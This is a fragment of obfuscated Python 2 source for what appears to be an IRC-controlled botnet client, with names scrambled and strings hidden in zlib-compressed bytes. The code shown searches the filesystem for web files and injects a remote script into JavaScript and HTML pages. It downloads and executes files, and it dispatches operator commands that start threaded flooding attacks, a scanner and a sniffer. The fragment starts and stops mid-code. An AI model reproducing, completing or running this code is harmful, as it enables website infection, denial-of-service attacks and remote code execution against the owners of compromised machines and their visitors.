            mcZXdYmuW.close()
            CZoIzINk = self.SFdFSJzo(8)
            dEYyXJEqy = self.SFdFSJzo(8)
            NECXNdbCkoxb = b64encode("//" + self.AnKeMnXc + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x92\x2f\x22\x3b\x4d\xce\xfa\x1b\xcb\xd1\x67\x00\x21\xa7\x05\x84")))
            CeaxnsQwiX=alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x13\x58\x2d\xce\xd7\x2c\x67\xfc\x8d\x09\x00\x17\x16\x03\xba")) + dEYyXJEqy + ", " + CZoIzINk + ") {" + CZoIzINk + " = " + dEYyXJEqy + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x15\x52\x23\xc3\xd3\x2c\x24\xf9\xc5\xff\xd0\x87\xf8\x36\xe6\xc4\xce\xd9\x66\x7b\xdd\xab\xe2\x5c\xce\x00\x00\x8e\x31\x0b\x25")) + CZoIzINk + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe5\x5c\xce\xc9\x71\xdd\xab\x66\x7f\xdc\xa9\xb7\xae\x77\x1d\xd5\x7b\x66\x9a\x6f\x77\x4d\xe7\x94\xbc\xe0\x03\x00\xa6\xc4\x0b\xbe")) + CZoIzINk + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x15\x56\xcb\xc0\x3c\x25\x3c\x71\x47\xdc\xdd\x07\x21\x27\x01\x30\x50\x07\x0d")) + CZoIzINk + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xe5\x52\x23\xe5\x7b\x2a\xdc\xf6\x8d\xeb\xd9\xbd\x62\x00\x2c\xc2\x06\x51")) + ampoNiAli + NECXNdbCkoxb + ampoNiAli + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x2c\x59\x23\x23\x3b\x5b\xcc\xfe\x2f\x53\x03\x00\x1a\x04\x04\x31")) + ampoNiAli + alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x39\x00\xc6\xff\xfb\x50\x67\x55\x4d\xd0\x50\x75\xb1\x0a\x84\xb5\x16\xcd\x0c\x66\xd1\xd8\x17\xa0\x45\x67\x17\x0a\xdf\x3a\x3d\xec\x42\x81\xe7\x50\x9c\x4f\x29\x97\xd0\x6d\xfd\x19\x7c\x1c\x1d\x9b\x16\x3f\xfd\x02\x88\xa5\x1f\xd5\x07\x61\xdd\xd1\x7f\xf0\x64\x19\xf4")) + dEYyXJEqy + alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x2d\x00\xd2\xff\xfa\x50\x6b\x0d\x28\x9b\x12\x31\xfd\x44\xdb\xe6\x73\x8b\x7f\x27\x9d\xb6\x25\xb9\x52\x26\x5e\x0f\x98\x13\x25\xbf\x03\xf4\xa5\x6c\xdc\x4a\x36\x8a\x9d\x2a\xb0\x74\x66\x10\x01\x93\x5f\xcc\xc5\x13\x56")) + CZoIzINk + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xcb\x53\x1c\xc8\x39\x43\x44\xf3\xab\xff\xc1\x87\x12\xb7\x05\x00\x33\x60\x06\x95"))
            LoddBBfmc=aSXdTzxUG.split(ampoNiAli)
            if len(LoddBBfmc) > 1:
                if LoddBBfmc[1] != NECXNdbCkoxb:
                    aSXdTzxUG=aSXdTzxUG.replace(LoddBBfmc[1], NECXNdbCkoxb)
                    self.AkvElneS+=1
                    XcolMxwYO = True
                elif LoddBBfmc[1] == NECXNdbCkoxb:
                    self.AkvElneS+=1
                    return
            else:
                if fZgSeHAQLu.endswith(".js"):
                    if alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x14\x56\x13\x09\x00\x04\xdf\x01\xce")) in aSXdTzxUG:
                        aSXdTzxUG=self.QSLxhaSPpd(aSXdTzxUG, alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x14\x56\x13\x09\x00\x04\xdf\x01\xce")), CeaxnsQwiX + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x14\x56\x13\x09\x00\x04\xdf\x01\xce")), 1)
                        self.AkvElneS+=1
                        XcolMxwYO = True
                else:
                    if alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x21\x91\x23\xc6\xd9\x07\x00\x08\x80\x02\x1a")) in aSXdTzxUG:
                        aSXdTzxUG=self.QSLxhaSPpd(aSXdTzxUG, alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x21\x91\x23\xc6\xd9\x07\x00\x08\x80\x02\x1a")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xe1\x92\xcb\xcd\xd2\xce\x5c\xf3\x26\xf8\xfe\x07\x1e\x00\x25\xec\x05\xc9")) + '"' + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x54\xc6\xeb\x34\x57\x4c\xeb\x67\xe4\x99\xe7\x11\x4d\xf1\x00\x32\x7b\x06\xd3")) + '"' + ">" + CeaxnsQwiX + alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\x21\x51\x2b\x25\x3f\x8f\x5d\x63\x99\x58\xc3\xf7\xb8\x69\x41\x00\x2d\x8a\x05\xfd")), 1)
                        self.AkvElneS+=1
                        XcolMxwYO = True
            if XcolMxwYO:
                mcZXdYmuW=open(fZgSeHAQLu, "wb")
                mcZXdYmuW.write(aSXdTzxUG)
                mcZXdYmuW.close()
            os.utime(fZgSeHAQLu, sKMzkipNGsea)
        except:
            pass
    def mdMkKhLJMbhz(self):
        if os.name != "nt":
            self.AkvElneS=0
            for zQYTfAowM in [ele for ele in os.listdir("/") if ele not in [alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe2\x9a\x28\x05\x00\x04\x3f\x01\x65")), "bin", alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x9a\x2e\x0e\x00\x04\x84\x01\x7b")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x9a\x2e\x0e\x00\x04\x84\x01\x7b")), "dev", "lib", alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x97\xe3\x1f\x09\x00\x07\x50\x02\x2b")), alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x51\xcb\xeb\x36\x51\x42\xf3\x9b\x1f\x00\x16\x23\x03\xf7")), "sys", alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x16\x91\xc8\x0b\x00\x04\xb3\x01\x7d")), "etc"]]:
                for GmnHuTcLjdmo in [alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x27\x99\xc2\x05\x00\x05\x19\x01\x86")), alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x27\x99\xc6\xcb\x30\x1b\x00\x08\xd1\x02\x26")), alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x27\x99\xc6\xcb\x00\x00\x06\xab\x01\x8b")), alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x27\x59\x27\x28\x0b\x00\x07\x18\x01\xc4"))]:
                    for fZgSeHAQLu in os.popen("find \"/" + zQYTfAowM + "\" -type f -name \"" + GmnHuTcLjdmo + "\"").read().split("\n"):
                        fZgSeHAQLu = fZgSeHAQLu.replace("\r", "").replace("\n", "")
                        if alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x15\x91\x25\x03\x00\x04\xe4\x01\x99")) not in fZgSeHAQLu and 'lib' not in fZgSeHAQLu and "npm" not in fZgSeHAQLu and fZgSeHAQLu != "":
                            self.TAxhLnLoU(fZgSeHAQLu)
    def ESiAPTdsc(self, url, aeyhkcWaalUF):
        urllib.urlretrieve(url, aeyhkcWaalUF)
        os.startfile(aeyhkcWaalUF)
    def pcipjDKmoVmA(self, IKUjsDDaQRyZ, lMxnoDsszXUq):
        global KDRidDNaavds
        global VkaxyBho
        try:
            if IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x91\x29\x26\xd1\x0c\x00\x08\xa7\x02\x2b")):
                KDRidDNaavds=-1
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xe9\x74\x36\xf6\xfe\x1e\x9d\xdd\xae\xe9\xcc\x3c\xcd\x72\xc6\xdf\xb8\xee\x3c\x08\x9a\xe8\x67\xda\x39\xcf\x70\x87\x2d\x00\x45\x12\x10\x3d")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x18\x5c\x27\xcf\x38\x43\xc2\x02\x00\x0d\x18\x02\x7b")):
                for i in range(0, int(IKUjsDDaQRyZ[7])):
                    threading.Thread(target=self.cWxYoJcjO,args=(IKUjsDDaQRyZ[4],int(IKUjsDDaQRyZ[5]),int(IKUjsDDaQRyZ[6]),)).start()
                if IKUjsDDaQRyZ[5] == "0":
                    IKUjsDDaQRyZ[5] = alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x96\x20\xcb\x34\x0b\x00\x08\x0d\x02\x16"))
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x37\x00\xc8\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x62\x4a\x29\x4d\x91\x1b\x33\xf7\x4e\x8f\xfa\x5f\xd2\x0e\x35\xc0\xdd\x37\xf4\x40\x67\x0d\x05\xd7\x52\x2f\xb8\x5e\xc7\xe7\x54\x93\x4f\x35\xf0\x9d\xd1\x19\x04")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],IKUjsDDaQRyZ[7]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xee\x97\x20\xcf\x38\x43\xc2\x02\x00\x0c\x71\x02\x5e")):
                for i in range(0, int(IKUjsDDaQRyZ[7])):
                    threading.Thread(target=self.jciYmoXa,args=(IKUjsDDaQRyZ[4],int(IKUjsDDaQRyZ[5]),int(IKUjsDDaQRyZ[6],))).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x37\x00\xc8\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x64\x57\x37\x4d\x91\x1b\x33\xf7\x4e\x8f\xfa\x5f\xd2\x0e\x35\xc0\xdd\x37\xf4\x40\x67\x0d\x05\xd7\x52\x2f\xb8\x5e\xc7\xe7\x54\x93\x4f\x35\xf0\xa1\x9f\x19\x21")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],IKUjsDDaQRyZ[7]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x52\x27\xcf\x38\x43\xc2\x02\x00\x0d\x17\x02\x7b")):
                for i in range(0, int(IKUjsDDaQRyZ[7])):
                    threading.Thread(target=self.HwxhCsCKqEok,args=(IKUjsDDaQRyZ[4],int(IKUjsDDaQRyZ[5]),int(IKUjsDDaQRyZ[6],))).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x37\x00\xc8\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x63\x4d\x29\x4d\x91\x1b\x33\xf7\x4e\x8f\xfa\x5f\xd2\x0e\x35\xc0\xdd\x37\xf4\x40\x67\x0d\x05\xd7\x52\x2f\xb8\x5e\xc7\xe7\x54\x93\x4f\x35\xf0\x9e\x5a\x19\x08")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],IKUjsDDaQRyZ[7]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x9d\xc8\xc7\x38\x83\xd5\xf4\x35\x00\x0f\x84\x03\x30")):
                threading.Thread(target=self.WvGZLPhLB,args=(IKUjsDDaQRyZ[4],int(IKUjsDDaQRyZ[5]),int(IKUjsDDaQRyZ[6],))).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x34\x00\xcb\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x64\x62\x16\x1a\x9b\x18\x2e\xf1\x59\x8f\xfa\x5f\xd2\x0e\x35\xda\x8f\x2d\xa0\x5f\x2e\x5c\x1e\xd7\x04\x33\xfb\x41\xca\xe1\x42\xf8\x4a\x92\x17\x53")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\xc9\x3d\x5b\xc2\xf8\x0f\x00\x10\x96\x03\x70")):
                for i in range(0, int(IKUjsDDaQRyZ[7])):
                    threading.Thread(target=self.GQhZcbHf,args=(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],int(IKUjsDDaQRyZ[6]),)).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x3a\x00\xc5\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x7f\x5a\x2d\x3d\xd7\x11\x30\xf7\x45\xcb\xb5\x5e\x9c\x0b\x13\xa8\xb4\x7e\xf4\x12\x7d\x59\x1a\x9e\x03\x34\xb8\x0f\xdc\xb5\x45\x9a\x59\x23\x9b\x9c\x37\xde\xe4\xea\x19\x9c")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[7]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x51\x23\xcf\x38\x43\xc2\x02\x00\x0d\x27\x02\x7d")):
                for i in range(0, int(IKUjsDDaQRyZ[7])):
                    threading.Thread(target=self.dNjhppuSu,args=(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],int(IKUjsDDaQRyZ[6]),)).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x3e\x00\xc1\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x63\x61\x0b\x4d\xbf\x23\x08\xc8\x0a\xc9\xf9\x5e\x9d\x4f\x66\x95\x96\x64\x81\x65\x42\x43\x4d\xd2\x04\x7c\xef\x43\xdb\xfd\x11\xd7\x58\x66\x8e\x90\x36\xb1\x56\x6a\x0a\x67\x52\x47\x1b\x92")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[7]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x11\x91\x2f\xcb\x33\x8b\x1d\x00\x0b\x1d\x02\x4a")):
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x28\x00\xd7\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x75\x9d\x5c\x28\x96\x97\x25\xb0\x5e\x60\x1e\x4d\xd2\x04\x7c\xf4\x43\xdc\xe1\x11\x94\x59\x29\x97\xd8\x61\xa7\x3d\x62\xe7\x12\x06")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5]))
                threading.Thread(target=urllib.urlretrieve, args=(IKUjsDDaQRyZ[5], "."+IKUjsDDaQRyZ[4],)).start()
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x94\x2b\xc6\x3c\x53\xc8\xfe\x0d\x00\x10\x01\x03\x55")):
                FhehcvoKoPj = 0
                try:
                    self.AbJppCRv.close()
                except:
                    pass
                self.hGFvDGhWIGu()
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x94\x21\xca\x31\x85\x19\x00\x0a\x1c\x02\x15")):
                try:
                    if not os.path.exists("."+IKUjsDDaQRyZ[4]):
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x34\x00\xcb\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x61\x9e\x4e\x27\x89\x9d\x64\xb8\x58\x6f\x1d\x4d\x83\x1f\x35\xeb\x0a\xdb\xec\x41\x97\x0b\x29\x9c\xd8\x25\xb9\x47\x2e\x15\x04\x84\x03\x7c\xfe\x43\xdd\xe6\x45\xf8\x43\xf7\x16\xce")) % (lMxnoDsszXUq))
                        return
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x37\x00\xc8\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x62\x86\x4a\x34\x8e\x9d\x20\xf4\x12\x7d\x59\x0c\x9a\x07\x7c\xfe\x46\xc0\xfa\x55\xd2\x44\x28\xda\xdd\x37\xf4\x40\x67\x0d\x05\xd7\x52\x2f\xb8\x5e\xc7\xe7\x54\x93\x4f\x35\xf0\xa8\x4c\x19\x7d")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],IKUjsDDaQRyZ[7]))
                    self.hjsWpVKjoi(IKUjsDDaQRyZ[4], socket.gethostbyname(IKUjsDDaQRyZ[5]), int(IKUjsDDaQRyZ[6]), int(IKUjsDDaQRyZ[7]))
                except:
                    pass
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x9c\xc5\xc9\xd4\xca\x0c\x00\x0a\x35\x02\x06")):
                if int(IKUjsDDaQRyZ[4]) not in VkaxyBho:
                    VkaxyBho.append(int(IKUjsDDaQRyZ[4]))
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xc1\x34\x7f\xe5\x79\x37\x4c\x76\xbb\x56\x45\x7a\xb4\x84\x6b\x7c\xe7\xba\xf3\x2d\x60\x8e\xab\x72\xc7\x27\x00\x32\x3b\x11\x05")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x94\xc4\xc9\xd4\xca\x0c\x00\x09\xe4\x01\xf8")):
                if int(IKUjsDDaQRyZ[4]) in VkaxyBho:
                    VkaxyBho.remove(int(IKUjsDDaQRyZ[4]))
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf2\x74\x37\xcd\x9e\xb9\x0a\x5f\xdc\x13\xb9\x25\xaf\x07\xe9\xef\xf0\xb9\xfb\x2b\xe6\x52\x84\xea\xec\x69\x5a\x1b\x5d\x59\x00\x70\x38\x11\xc9")) % (lMxnoDsszXUq,IKUjsDDaQRyZ[4]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x51\xc3\x2b\x07\x00\x06\x45\x01\xa4")):
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x27\x00\xd8\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x78\xd2\x4a\x2b\xda\x9b\x31\xa6\x45\x6b\x17\x19\x9b\x0e\x7c\xeb\x49\xce\xfb\x5f\x9b\x45\x21\xda\xdd\x37\xde\x57\x7c\x12\x5d"))% (lMxnoDsszXUq,str(VkaxyBho)))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1b\x99\x22\xc3\xd7\x2c\x62\xfc\xd6\xe5\x36\x00\x18\xd6\x04\x7b")):
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x30\x00\xcf\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x78\xd2\x43\x27\x8c\x9d\x64\xbd\x59\x64\x1c\x0e\x83\x12\x38\xb8\x43\xc1\xe1\x5e\xd2\x0e\x35\xda\x9e\x2d\xb8\x52\x7d\x59\x19\x98\x03\x3d\xf4\x20\xf8\x08\x14\x70")) % (lMxnoDsszXUq, self.AkvElneS))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x94\x2e\xce\x3e\x49\x44\x03\x00\x0c\x75\x02\x4c")):
                threading.Thread(target=self.mdMkKhLJMbhz).start()
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x2f\x00\xd0\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x63\x97\x06\x2f\x94\x92\x21\xb7\x43\x67\x17\x0a\xd7\x16\x30\xf4\x0a\xc7\xe1\x5c\x9e\x0b\x27\x94\x9c\x64\xbe\x44\x2e\x1f\x04\x9b\x12\x2f\x92\xc5\x00\x12\x60")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x92\x2f\xce\x3c\x89\x15\x00\x0a\x49\x02\x1c")):
                if IKUjsDDaQRyZ[4]==alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x54\xcb\xc3\x30\x09\x00\x08\x2e\x02\x14")):
                    self.scannerenabled=1
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x73\xcd\xbe\xb8\x66\x73\x49\xcc\x12\xb2\xd8\xa9\x00\x00\xb2\x29\x0b\x73")) % (lMxnoDsszXUq))
                else:
                    self.scannerenabled=0
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x73\xcd\xbe\xb8\xe7\xf3\xc8\x4d\x12\xae\x9d\x04\x00\xa7\x52\x0b\x78")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\x2e\xcf\x3d\x89\x15\x00\x0a\x77\x02\x29")):
                if IKUjsDDaQRyZ[4]==alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x54\xcb\xc3\x30\x09\x00\x08\x2e\x02\x14")):
                    if self.snifferenabled==0:
                        self.snifferenabled=1
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x1c\x27\x85\x39\x73\xcd\xbe\xb8\x66\x73\x49\xcc\x12\xb2\xd8\xa9\x00\x00\xb2\x59\x0b\x76")) % (lMxnoDsszXUq))
                else:
                    if self.snifferenabled==1:
                        self.snifferenabled=0
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x1c\x27\x85\x39\x73\xcd\xbe\xb8\xe7\xf3\xc8\x4d\x12\xae\x9d\x04\x00\xa7\x7f\x0b\x7b")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x92\x2f\xce\x3c\x89\x59\xef\xa7\xcb\x89\x0f\x00\x1c\xdf\x05\x3d")):
                threading.Thread(target=self.olvhVyqLq,args=(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],IKUjsDDaQRyZ[6],)).start()
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x92\x2f\x2e\xd7\x2c\xa6\xf1\x1a\x00\x10\x3a\x03\x4c")):
                try:
                    if IKUjsDDaQRyZ[4] == "all":
                        ciCdKhZVJ=""
                        zKcooXlaSTc=0
                        FySWRkcUaL=0
                        FySWRkcUaL = 0
                        for czazSfSU,iRzUQKKiT in enumerate(self.xJibnhHhdPbstats):
                            if iRzUQKKiT != alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x56\x2e\xcd\xd4\xcc\x02\x00\x0a\xbf\x02\x25")):
                                ciCdKhZVJ+=iRzUQKKiT + ", "
                                aSaaVfoDdxGe,lkDRLVbcy=self.xJibnhHhdPbstats[iRzUQKKiT]
                                zKcooXlaSTc+=aSaaVfoDdxGe
                                FySWRkcUaL+=lkDRLVbcy
                        if ciCdKhZVJ != ", ":
                            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x56\x00\xa9\xff\x84\x65\x47\x2f\x20\xa4\x30\x7c\xbd\x59\x8f\xaf\x78\xa2\x0b\x14\x9b\x96\x23\xb1\x44\x2e\x0a\x0e\x96\x19\x32\xfd\x4e\x95\xb5\x14\x81\x5f\x29\x8e\x99\x28\xf4\x56\x62\x15\x4d\x83\x1e\x31\xfd\x0a\xe6\xc5\x42\xd2\x58\x25\x9b\x96\x2a\xb1\x53\x34\x59\x48\x84\x5b\x7c\xec\x45\xdb\xf4\x5d\xd2\x4d\x29\x8f\x96\x20\xf4\x58\x7e\x1c\x03\xcd\x57\x79\xeb\x20\x05\x20\x24\xfb")) % (lMxnoDsszXUq, ciCdKhZVJ,str(zKcooXlaSTc), str(FySWRkcUaL)))
                        else:
                            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x73\xcd\xbe\x14\xfb\x44\x72\xcc\x62\xd7\x78\xa8\x00\x00\xb4\x8c\x0b\xce")) % (lMxnoDsszXUq))
                    elif self.xJibnhHhdPbstats[IKUjsDDaQRyZ[4]][0]:
                        self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x73\xcd\xbe\xb8\x54\x49\x48\xb6\x84\x5b\x7d\x8f\x98\xba\x55\xa4\x91\xdb\x68\x6a\x8f\xea\x0e\xf1\x5a\x29\x9e\x99\x92\x96\x7f\x04\xfa\x37\x38\xdd\x83\x0a\x25\x72\x72\xcc\xf4\x05\x6a\x5c\x0a\x00\xb7\x8f\x1b\x42")) % (lMxnoDsszXUq, IKUjsDDaQRyZ[4], str(self.xJibnhHhdPbstats[IKUjsDDaQRyZ[4]][0]), str(self.xJibnhHhdPbstats[IKUjsDDaQRyZ[4]][1])))
                except:
                    self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xfd\x5c\x6e\xd3\x99\x33\xb5\x76\x05\xd5\x44\xca\x35\x8b\x69\xbc\xe6\x3a\xf9\xcb\xf9\x04\x77\x72\xe7\x27\x00\x24\xb1\x10\x48")) % (lMxnoDsszXUq, IKUjsDDaQRyZ[4]))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1e\x9d\x2d\x21\xdf\x22\x62\xfb\x0d\x00\x11\x24\x03\x80")):
                self.xJibnhHhdPbstats={alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1c\x56\x2e\xcd\xd4\xcc\x02\x00\x0a\xbf\x02\x25")):[0,0]}
                self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xd2\x44\x2f\x8d\x29\x73\xcd\xbe\x14\xfb\x44\x72\xcc\x62\xd7\xf8\xe8\x7f\x7a\x3e\x00\xcf\x2a\x0d\x77")) % (lMxnoDsszXUq))
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x16\x54\xc1\xc5\x3a\x49\xda\x00\x00\x0c\xa8\x02\x5d")):
                threading.Thread(target=self.YEdQoXao, args=(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5],)).start()
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x9f\x2d\xca\x08\x00\x06\x30\x01\x88")):
                threading.Thread(target=self.PfVJGGQmBiEH,args=(" ".join(IKUjsDDaQRyZ[4:]),lMxnoDsszXUq,)).start()
            elif IKUjsDDaQRyZ[3]==":" + self.prefiex + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x10\x51\x29\xce\x38\x43\xcc\x02\x00\x0d\x69\x02\x80")):
                try:
                    urllib.urlretrieve(IKUjsDDaQRyZ[4],IKUjsDDaQRyZ[5])
